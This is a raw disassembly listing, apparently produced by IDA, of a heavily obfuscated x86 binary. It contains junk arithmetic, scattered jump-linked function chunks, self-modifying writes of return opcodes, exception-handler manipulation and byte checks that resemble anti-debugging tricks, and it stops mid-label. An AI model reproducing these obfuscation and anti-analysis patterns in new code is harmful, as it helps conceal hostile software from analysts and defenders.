loc_44D112:				; CODE XREF: sub_44313A+ACE0j
		pop	edi
		and	edi, 6EBB246Ch
		add	edi, 0BB9FC02Ch
		mov	[edi], eax
		call	sub_44313A
; END OF FUNCTION CHUNK	FOR sub_44313A
; START	OF FUNCTION CHUNK FOR sub_44D64C

loc_44D126:				; CODE XREF: sub_44D64C+Cj
		jmp	loc_440E0A
; END OF FUNCTION CHUNK	FOR sub_44D64C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4476DE

loc_44D12B:				; CODE XREF: sub_4476DE+1Cj
		jmp	loc_44BBA3
; END OF FUNCTION CHUNK	FOR sub_4476DE

; =============== S U B	R O U T	I N E =======================================



sub_44D130	proc near		; DATA XREF: y22d6.y.:00447D75o
		mov	ds:dword_41E134, eax
		push	offset sub_43A9FE
		jmp	nullsub_357
sub_44D130	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C59C

loc_44D140:				; CODE XREF: sub_44C59C:loc_43E804j
		or	eax, 9B79C51Ah
		add	eax, 2046B9B4h
		popf
		xchg	eax, [esp-8+arg_4]
		jmp	loc_44732D
; END OF FUNCTION CHUNK	FOR sub_44C59C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_44D155:				; CODE XREF: sub_44B1D2:loc_44770Aj
		or	edx, ds:4000E9h
		add	edx, 8147F379h
		mov	[edx], eax
		pop	edx
		push	offset loc_43E592
		jmp	loc_4473C1
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7B5

loc_44D16E:				; CODE XREF: sub_43B7B5+C58Bj
		add	ebx, 5D7077A2h
		pop	ecx
		jmp	loc_443C2F
; END OF FUNCTION CHUNK	FOR sub_43B7B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55B

loc_44D17A:				; CODE XREF: sub_43C55B:loc_444CACj
		sub	al, 99h
		call	sub_4452EE

loc_44D181:				; CODE XREF: sub_43AD2F+FB10j
		add	eax, ebp
		add	eax, 0EE497ACAh
		mov	eax, [eax]
		test	eax, eax
		jle	loc_4422D0
		jmp	loc_448538
; END OF FUNCTION CHUNK	FOR sub_43C55B
; ---------------------------------------------------------------------------

loc_44D198:				; CODE XREF: y22d6.y.:00438F3Dj
		mov	ebp, [edx]

; =============== S U B	R O U T	I N E =======================================



sub_44D19A	proc near		; CODE XREF: sub_44B27F:loc_44BFC5p

arg_0		= dword	ptr  4

		xchg	eax, [esp+0]
		pop	eax
		xchg	eax, [esp-4+arg_0]
		mov	edx, eax
		jmp	sub_43D448
sub_44D19A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jns	loc_44C7F9
		jmp	sub_43FBC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C7C1

loc_44D1B3:				; CODE XREF: sub_43C7C1:loc_44456Cj
		call	sub_43D543
; END OF FUNCTION CHUNK	FOR sub_43C7C1
; START	OF FUNCTION CHUNK FOR sub_44A359

loc_44D1B8:				; CODE XREF: sub_44A359-10455j
		jmp	nullsub_237
; END OF FUNCTION CHUNK	FOR sub_44A359
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44997F

loc_44D1BD:				; CODE XREF: sub_44997F-B4Dj
		xor	esi, edx

loc_44D1BF:				; CODE XREF: sub_44997F:loc_448E2Bj
		and	ebx, 99F88810h
		sub	ebx, 0CD94EC7Fh
		jb	loc_440A06

loc_44D1D1:				; CODE XREF: sub_43CC1A+167Cj
		jmp	loc_44BF6C
; END OF FUNCTION CHUNK	FOR sub_44997F
; ---------------------------------------------------------------------------
		push	ebx
		jmp	loc_440A00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D7E0

loc_44D1DC:				; CODE XREF: sub_44D7E0-116DEj
		pop	esi
		or	esi, 0E2FB7345h
		add	esi, 0D42662Fh
		mov	[esi], eax
		pop	esi
		lea	eax, loc_440A66
		mov	byte ptr [eax],	0C3h
		jmp	loc_440A66
; END OF FUNCTION CHUNK	FOR sub_44D7E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44243B

loc_44D1FA:				; CODE XREF: sub_44243B:loc_43DCF8j
		jl	loc_43897B

loc_44D200:				; CODE XREF: y22d6.y.:004403D9j
		jmp	nullsub_239
; END OF FUNCTION CHUNK	FOR sub_44243B
; ---------------------------------------------------------------------------
		jge	loc_4461A6
		mov	ecx, [ebp+0]
		jmp	loc_43897B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44156E

loc_44D213:				; CODE XREF: sub_44156E+1D09j
		jb	loc_443DE0

loc_44D219:				; CODE XREF: sub_44156E:loc_4408B2j
		mov	eax, 0DD70DD34h
		push	ecx
		push	0F4C6ED8h
		pop	ecx
		jmp	loc_43A68E
; END OF FUNCTION CHUNK	FOR sub_44156E

; =============== S U B	R O U T	I N E =======================================



sub_44D22A	proc near		; CODE XREF: sub_4418C5-2EDEp
					; sub_4455ED+12j

; FUNCTION CHUNK AT 00437731 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00439C88 SIZE 0000000B BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_440251
		jmp	loc_439C88
sub_44D22A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_44D23E:				; CODE XREF: sub_43B09B:loc_438EDFj
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_17
; END OF FUNCTION CHUNK	FOR sub_43B09B
; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		push	esi
		mov	esi, edx
		jmp	loc_44E0C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_44D252:				; CODE XREF: sub_44057E+57B1j
		jz	loc_43F725
		jmp	loc_44B584
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E037

loc_44D25D:				; CODE XREF: sub_43E037+F82Bj
		jo	loc_43AB03
		sub	al, 99h
		mov	edx, [ebp-4]
		call	sub_44123E

loc_44D26D:				; CODE XREF: y22d6.y.:00437819j
		jmp	loc_44AABB
; END OF FUNCTION CHUNK	FOR sub_43E037
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44051D

loc_44D272:				; CODE XREF: sub_44051Dj
					; sub_448EB6+A01j
		mov	eax, [ebp-4]
		mov	al, [eax]
		mov	[ebp-9], al
		mov	al, [ebp-0Ah]
		and	al, 7
		mov	[ebp-0Bh], al
		xor	eax, eax
		mov	al, [ebp-0Bh]
		jmp	loc_438EB6
; END OF FUNCTION CHUNK	FOR sub_44051D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_44D28C:				; CODE XREF: sub_43B09B:loc_438E1Bj
		mov	ds:dword_440354, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_43B09B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44D293	proc near		; CODE XREF: sub_44066C-92D3p
					; sub_43AD2F-395Ap ...
		push	ebp
		mov	ebp, esp
		jb	sub_44DF58
		jmp	sub_43EC51
sub_44D293	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_44D2A1:				; CODE XREF: sub_438B66:loc_446FDAj
		add	eax, 0B7694EDCh
		mov	eax, [eax]
		mov	esp, ebp
		pop	ebp
		jmp	nullsub_242
; END OF FUNCTION CHUNK	FOR sub_438B66

; =============== S U B	R O U T	I N E =======================================



sub_44D2B1	proc near		; DATA XREF: sub_4480DE-90F2o
		cmp	word ptr [eax],	2ECDh
		jz	loc_44D2C1
		jmp	loc_444E23
sub_44D2B1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4480DE

loc_44D2C1:				; CODE XREF: sub_4480DE-90FBj
					; sub_44D2B1+5j
		jb	loc_4496B2
		mov	eax, [ebp+var_4]
		call	sub_438F66
		jmp	loc_4485FF
; END OF FUNCTION CHUNK	FOR sub_4480DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A53A

loc_44D2D4:				; CODE XREF: sub_44A53A-C6BFj
		jl	sub_443778
; END OF FUNCTION CHUNK	FOR sub_44A53A

; =============== S U B	R O U T	I N E =======================================



sub_44D2DA	proc near		; CODE XREF: sub_4491D8-C202p
		xchg	ecx, [esp+0]
		pop	ecx
		pop	edi
		lea	eax, sub_447268
		push	(offset	loc_4443FC+3)
		jmp	nullsub_245
sub_44D2DA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sbb	ebp, 0C5BCB6AAh
		jmp	sub_44825F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

loc_44D2FA:				; CODE XREF: sub_440280+7F24j
		jp	loc_43F610
		sbb	esi, edi

loc_44D302:				; CODE XREF: sub_440280:loc_4489EFj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_438F05
		jmp	loc_441DFB
; END OF FUNCTION CHUNK	FOR sub_440280

; =============== S U B	R O U T	I N E =======================================



sub_44D313	proc near		; CODE XREF: y22d6.y.:00442D90j
					; sub_4432B8+1AEDp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004426C9 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004444BF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00445A55 SIZE 00000005 BYTES

		xchg	ecx, [esp-4+arg_0]
		pop	ecx

loc_44D317:				; CODE XREF: y22d6.y.:0043EE04j
		mov	eax, [ebp-18h]
		shl	eax, 2
		cdq
		jmp	loc_4426C9
sub_44D313	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F34

loc_44D323:				; CODE XREF: sub_446F34:loc_43EF62j
		mov	eax, [esp+0]
		push	edx
		push	eax
		push	578F22AEh
		pop	eax
		rol	eax, 15h
		add	eax, 1BF4486Bh
		or	eax, 0F829D816h
		jmp	loc_43C2D9
; END OF FUNCTION CHUNK	FOR sub_446F34
; ---------------------------------------------------------------------------
		jno	loc_439167
		jmp	sub_44E51C
; ---------------------------------------------------------------------------

loc_44D34D:				; DATA XREF: sub_437712+44E5o
		add	edi, 0FFC2B408h
		xchg	edi, [esp]
		jmp	loc_442F17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DA4B

loc_44D35B:				; CODE XREF: sub_44DA4B-3D9Cj
		and	edx, 7A15E609h
		add	edx, 0B02F6308h
		call	sub_440E55
; END OF FUNCTION CHUNK	FOR sub_44DA4B
; START	OF FUNCTION CHUNK FOR sub_444F2B

loc_44D36C:				; CODE XREF: sub_444F2B+7j
		jmp	nullsub_9
; END OF FUNCTION CHUNK	FOR sub_444F2B

; =============== S U B	R O U T	I N E =======================================



sub_44D371	proc near		; DATA XREF: sub_442592+5E86o

; FUNCTION CHUNK AT 0043D6B0 SIZE 0000000B BYTES

		mov	eax, ds:dword_444B94
		or	eax, eax
		jnz	loc_43D6B0
		jmp	loc_44A994
sub_44D371	endp

; ---------------------------------------------------------------------------
		ja	loc_4407FB
		jmp	sub_441DA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CCD2

loc_44D38F:				; CODE XREF: sub_43CCD2+10j
		mov	byte ptr [eax],	0C3h
		jmp	sub_4464C8
; END OF FUNCTION CHUNK	FOR sub_43CCD2

; =============== S U B	R O U T	I N E =======================================



sub_44D397	proc near		; CODE XREF: sub_401000+202p
					; sub_401000+287p ...
		call	sub_44D3B1
		jmp	ds:off_41E030
sub_44D397	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448E3E

loc_44D3A2:				; CODE XREF: sub_448E3E+11j
		jmp	loc_43FB27
; END OF FUNCTION CHUNK	FOR sub_448E3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44D3A7:				; CODE XREF: sub_448EB6-A9BAj
		jmp	loc_43BB34
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_44D3AC:				; CODE XREF: y22d6.y.:00438429j
		jmp	sub_4480DE

; =============== S U B	R O U T	I N E =======================================



sub_44D3B1	proc near		; CODE XREF: sub_44D397p
					; y22d6.y.:loc_44DC02j	...

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00438998 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A2F6 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043B599 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043E07A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043F825 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044091E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00444B2B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044AD7A SIZE 0000000A BYTES

		pop	edx
		jns	loc_44AD7A
		mov	eax, [esp+8+var_8]
		push	edx
		call	sub_44A22A

loc_44D3C1:				; CODE XREF: sub_43BB5A+6j
		pop	ebx
		add	ebx, 4EB6055Dh
		test	ebx, 20000000h
		jmp	loc_43F825
sub_44D3B1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	ds:dword_41E138
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_340. PRESS KEYPAD	"+" TO EXPAND]
		dw 0A83h
		dd 5AFFFFE0h, 123FE8h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4496A3

loc_44D3E5:				; CODE XREF: sub_4496A3+Aj
		jmp	loc_44C431
; END OF FUNCTION CHUNK	FOR sub_4496A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441191

loc_44D3EA:				; CODE XREF: sub_441191+5034j
		jmp	nullsub_368
; END OF FUNCTION CHUNK	FOR sub_441191
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4384B4

loc_44D3EF:				; CODE XREF: sub_4384B4+CF8Bj
		jmp	loc_43F1E3
; END OF FUNCTION CHUNK	FOR sub_4384B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D6D0

loc_44D3F4:				; CODE XREF: sub_44D6D0-C1D0j
		popf
		cdq
		push	0C64838A4h

loc_44D3FB:				; CODE XREF: sub_44D6D0:loc_43D617j
		xor	edx, 71C6A8C6h
		jnz	loc_43ED23
; END OF FUNCTION CHUNK	FOR sub_44D6D0
; START	OF FUNCTION CHUNK FOR sub_439E63

loc_44D407:				; CODE XREF: sub_439E63+11DF6j
		jmp	sub_439E63
; END OF FUNCTION CHUNK	FOR sub_439E63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_44D40C:				; CODE XREF: sub_4432B8+1DAj
		jmp	nullsub_247
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B006

loc_44D411:				; CODE XREF: sub_43B006+12j
		jmp	loc_44DF83
; END OF FUNCTION CHUNK	FOR sub_43B006
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_102. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44D417:				; CODE XREF: y22d6.y.:00448C1Fj
		jmp	loc_44426B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BC16

loc_44D41C:				; CODE XREF: sub_43BC16-3B79j
		jmp	nullsub_248
; END OF FUNCTION CHUNK	FOR sub_43BC16
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_27. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_44D422:				; CODE XREF: sub_44BCC2-B218j
		jmp	loc_438846
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444D95

loc_44D427:				; CODE XREF: sub_444D95-A9F1j
		jmp	loc_44B19C
; END OF FUNCTION CHUNK	FOR sub_444D95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AA69

loc_44D42C:				; CODE XREF: sub_44AA69-115E5j
		jmp	loc_44AE6F
; END OF FUNCTION CHUNK	FOR sub_44AA69
; ---------------------------------------------------------------------------

loc_44D431:				; DATA XREF: sub_43A3A9+45E6o
		xor	eax, eax
; START	OF FUNCTION CHUNK FOR sub_44D43E

loc_44D433:				; CODE XREF: sub_44D43E-F62Cj
		pop	large dword ptr	fs:0
		add	esp, 4
		retn
; END OF FUNCTION CHUNK	FOR sub_44D43E

; =============== S U B	R O U T	I N E =======================================



sub_44D43E	proc near		; CODE XREF: sub_43A3A9p

; FUNCTION CHUNK AT 0043DE04 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044D433 SIZE 0000000B BYTES

		push	large dword ptr	fs:0
		jmp	loc_43DE04
sub_44D43E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44D44A	proc near		; DATA XREF: sub_441191+502Fo

; FUNCTION CHUNK AT 0043B453 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00442C58 SIZE 00000012 BYTES

		ror	eax, 1
		push	ebx
		push	59782757h
		pop	ebx
		and	ebx, 7F7A223Fh
		jmp	loc_43B453
sub_44D44A	endp

; ---------------------------------------------------------------------------

loc_44D45E:				; CODE XREF: y22d6.y.:00447B48j
		adc	ebp, esi

; =============== S U B	R O U T	I N E =======================================



sub_44D460	proc near		; CODE XREF: sub_44BCC2:loc_44C03Ep

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043E0EE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044080F SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004416A4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00445259 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		call	sub_44E5C7
		jmp	loc_44080F
sub_44D460	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sub	esi, eax
		sbb	edx, 0B4CD5AF5h
		jmp	sub_43DF1F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E5C7

loc_44D47B:				; CODE XREF: sub_44E5C7:loc_438A28j
		cmp	byte ptr [eax],	0F1h
		jnz	loc_43C52F
		jmp	loc_43DB66
; END OF FUNCTION CHUNK	FOR sub_44E5C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_44D489:				; CODE XREF: sub_4432B8+1FCj
		jz	loc_449507
		push	57BC06B1h
		jmp	loc_449501
; END OF FUNCTION CHUNK	FOR sub_4432B8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_44D499	proc near		; CODE XREF: sub_44D54C:loc_443D25j
		retn
sub_44D499	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7D4

loc_44D49A:				; CODE XREF: sub_43B7D4+126B4j
		jmp	loc_43CA1F
; END OF FUNCTION CHUNK	FOR sub_43B7D4
; ---------------------------------------------------------------------------
		xchg	edi, ebx
		popf
		jmp	sub_443CB9
; ---------------------------------------------------------------------------

loc_44D4A7:				; DATA XREF: sub_442C0C-360Do
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44951A
		jmp	loc_443F98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F891

loc_44D4B7:				; CODE XREF: sub_43F891+Ej
		call	sub_43E6C0
; END OF FUNCTION CHUNK	FOR sub_43F891
; START	OF FUNCTION CHUNK FOR sub_43C5EE

loc_44D4BC:				; CODE XREF: sub_43C5EE+14j
		jmp	loc_44AF94
; END OF FUNCTION CHUNK	FOR sub_43C5EE
; ---------------------------------------------------------------------------
		shl	edx, 0Bh
		mov	[edi], ebp
		jmp	sub_4414E8
; ---------------------------------------------------------------------------

loc_44D4CB:				; CODE XREF: y22d6.y.:loc_4455E8j
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_370
; ---------------------------------------------------------------------------

loc_44D4D3:				; CODE XREF: y22d6.y.:0044D681j
		mov	eax, [esp]
		push	ecx
		mov	ecx, edx
		xchg	ecx, [esp]
		push	esi
		call	sub_44A9F2
; START	OF FUNCTION CHUNK FOR sub_44C194

loc_44D4E2:				; CODE XREF: sub_44C194:loc_449366j
		jmp	nullsub_251
; END OF FUNCTION CHUNK	FOR sub_44C194
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E81B

loc_44D4E7:				; CODE XREF: sub_43E81B+4F82j
		jmp	loc_4480F1
; END OF FUNCTION CHUNK	FOR sub_43E81B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_367. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444427

loc_44D4ED:				; CODE XREF: sub_444427+Bj
		jmp	loc_442CAF
; END OF FUNCTION CHUNK	FOR sub_444427
; ---------------------------------------------------------------------------

loc_44D4F2:				; CODE XREF: y22d6.y.:0043BF90j
		jmp	loc_43D6CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_44D4F7:				; CODE XREF: sub_44BCC2-4E6Fj
		push	0F257E40Bh
		pop	eax
		sub	eax, ds:4000EBh
		push	offset loc_43BD62
		jmp	nullsub_252
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44485F

loc_44D50D:				; CODE XREF: sub_44485F:loc_44DD48j
		test	ebp, 0CBB77475h
		jmp	loc_44C5A7
; END OF FUNCTION CHUNK	FOR sub_44485F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FE3B

loc_44D518:				; CODE XREF: sub_43FE3B:loc_43E6A1j
		rol	esi, 1
		add	esi, 44C028h
		xchg	esi, [esp+4+var_4]
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_43FE3B
; ---------------------------------------------------------------------------
		push	edi
		push	2EDDB352h
		pop	edi
		jmp	loc_4387A4

; =============== S U B	R O U T	I N E =======================================



sub_44D534	proc near		; CODE XREF: y22d6.y.:0043CAE8j
					; sub_43D59A+8p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00447D09 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0044A999 SIZE 00000005 BYTES

		xchg	edx, [esp-4+arg_0]
		pop	edx
		xchg	edi, [esp+0]
		push	8193FC22h
		pop	ebx

loc_44D541:				; CODE XREF: sub_4432B8:loc_44C0A3j
		jmp	loc_447D09
sub_44D534	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A3A9

loc_44D546:				; CODE XREF: sub_43A3A9+45F3j
		jle	loc_43E227
; END OF FUNCTION CHUNK	FOR sub_43A3A9

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_44D54C	proc near		; CODE XREF: y22d6.y.:0043F772j
					; sub_44BBBA:loc_4422DCp

; FUNCTION CHUNK AT 00443D25 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	ebx, 99EAAC3Eh
		mov	[ebx], edx
		push	offset sub_439184
		jmp	loc_443D25
sub_44D54C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

loc_44D562:				; CODE XREF: y22d6.y.:loc_440645j
					; sub_440280:loc_4493F8j
		xchg	ebp, [esp+0]

loc_44D565:				; CODE XREF: sub_448EB6+C2j
		ror	eax, 0Bh
		push	ebx
		push	0C522A194h
		pop	ebx
		jmp	loc_448374
; END OF FUNCTION CHUNK	FOR sub_440280
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_44D574:				; CODE XREF: sub_44AEDA-111C2j
		cmp	edx, 2C68D689h
		jmp	loc_44B3A4
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44D57F:				; CODE XREF: sub_44BF91:loc_439689j
					; sub_448EB6-80D7j
		rol	eax, 15h
		add	eax, 106C186Ah
		mov	ds:dword_442554, eax
; END OF FUNCTION CHUNK	FOR sub_448EB6
; START	OF FUNCTION CHUNK FOR sub_43A6E1

loc_44D58E:				; CODE XREF: sub_43A6E1:loc_43B0E3j
					; sub_43A6E1+1324j
		push	edx
		push	5D8C654Eh
		pop	edx
		rol	edx, 7
		and	edx, 7E47A0A6h
		jmp	loc_442D4A
; END OF FUNCTION CHUNK	FOR sub_43A6E1
; ---------------------------------------------------------------------------

loc_44D5A3:				; DATA XREF: sub_440D9E+5B8o
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44A7E3
		jmp	loc_4463FB
; ---------------------------------------------------------------------------

loc_44D5B1:				; CODE XREF: y22d6.y.:0043C5E9j
		ror	ecx, 4

; =============== S U B	R O U T	I N E =======================================



sub_44D5B4	proc near		; CODE XREF: sub_43BEF7+BD6Ep
		xchg	edi, [esp+0]
		pop	edi
		add	eax, [ebp-4]
		xor	edx, edx
		jmp	loc_44967D
sub_44D5B4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438A6F

loc_44D5C2:				; CODE XREF: sub_438A6F:loc_43DAF5j
		add	esp, 8
		jmp	loc_44B0C7
; END OF FUNCTION CHUNK	FOR sub_438A6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F501

loc_44D5CA:				; CODE XREF: sub_43F501+9964j
		popf
		mov	ebx, 79A8A918h
		and	ecx, esi
		jmp	loc_44419E
; END OF FUNCTION CHUNK	FOR sub_43F501
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444541

loc_44D5D7:				; CODE XREF: sub_444541-8352j
		pop	eax
		rol	eax, 1Eh
		xor	eax, 0B30A8546h
		add	eax, 5F8A9E10h
		xchg	eax, [esp+4+var_4]
		jmp	loc_44AC7E
; END OF FUNCTION CHUNK	FOR sub_444541
; ---------------------------------------------------------------------------

loc_44D5EF:				; CODE XREF: y22d6.y.:0043BEBCj
		rol	ebp, 8
		and	ecx, eax
		test	ebp, 0B1C1B398h
		jmp	loc_441DE2
; ---------------------------------------------------------------------------

loc_44D5FF:				; CODE XREF: y22d6.y.:loc_442D45j
		add	esi, 1988E55Eh
		call	sub_438CA4
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_44D60A:				; CODE XREF: sub_44271A+7740j
		jmp	loc_444877
; END OF FUNCTION CHUNK	FOR sub_44271A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B252

loc_44D60F:				; CODE XREF: sub_43B252:loc_43D896j
		jl	loc_44B1BE

loc_44D615:				; CODE XREF: y22d6.y.:00444BE4j
		jmp	loc_440A72
; END OF FUNCTION CHUNK	FOR sub_43B252
; ---------------------------------------------------------------------------
		mov	esi, edx
		not	esi
		xchg	esi, ecx
		jmp	loc_44B1BB
; ---------------------------------------------------------------------------

loc_44D625:				; CODE XREF: y22d6.y.:004418A2j
		sub	eax, 395DB991h
		xor	eax, 0FEDDBBCCh
		push	edi
		push	0FB33181h
		pop	edi
		or	edi, 0FF31FE99h
		add	edi, 8FBBADh
		xchg	edi, [esp]
		jmp	loc_448D8D

; =============== S U B	R O U T	I N E =======================================



sub_44D64C	proc near		; CODE XREF: sub_43A148-37Ep
					; y22d6.y.:0044C74Cj

; FUNCTION CHUNK AT 00440E0A SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044D126 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	ecx, 3447D0FEh
		mov	ecx, [ecx]
		jmp	loc_44D126
sub_44D64C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44D65D:				; CODE XREF: y22d6.y.:loc_44AFD5j
		lea	eax, nullsub_297
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_297
; ---------------------------------------------------------------------------
		call	nullsub_370
		jmp	ds:dword_41E19C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B635

loc_44D676:				; CODE XREF: sub_44B635-3A56j
		jmp	loc_4475F4
; END OF FUNCTION CHUNK	FOR sub_44B635
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A58D

loc_44D67B:				; CODE XREF: sub_43A58D+BD8Fj
		jmp	loc_43FA17
; END OF FUNCTION CHUNK	FOR sub_43A58D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_370. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jb	loc_44D4D3
		mov	eax, [esp]
		jmp	loc_4489DC
; ---------------------------------------------------------------------------

loc_44D68F:				; CODE XREF: y22d6.y.:loc_4373F4j
					; y22d6.y.:loc_43B2EDj
		xchg	eax, [esp]
		mov	edx, eax
		push	ebx
		push	0EBA05A75h
		pop	ebx
		add	ebx, 0F5E57382h
		jmp	loc_4458F8
; ---------------------------------------------------------------------------

loc_44D6A6:				; CODE XREF: y22d6.y.:004373FAj
		jz	loc_4371DF
		jmp	loc_445993
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_211. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441030

loc_44D6B2:				; CODE XREF: sub_441030+2B6Bj
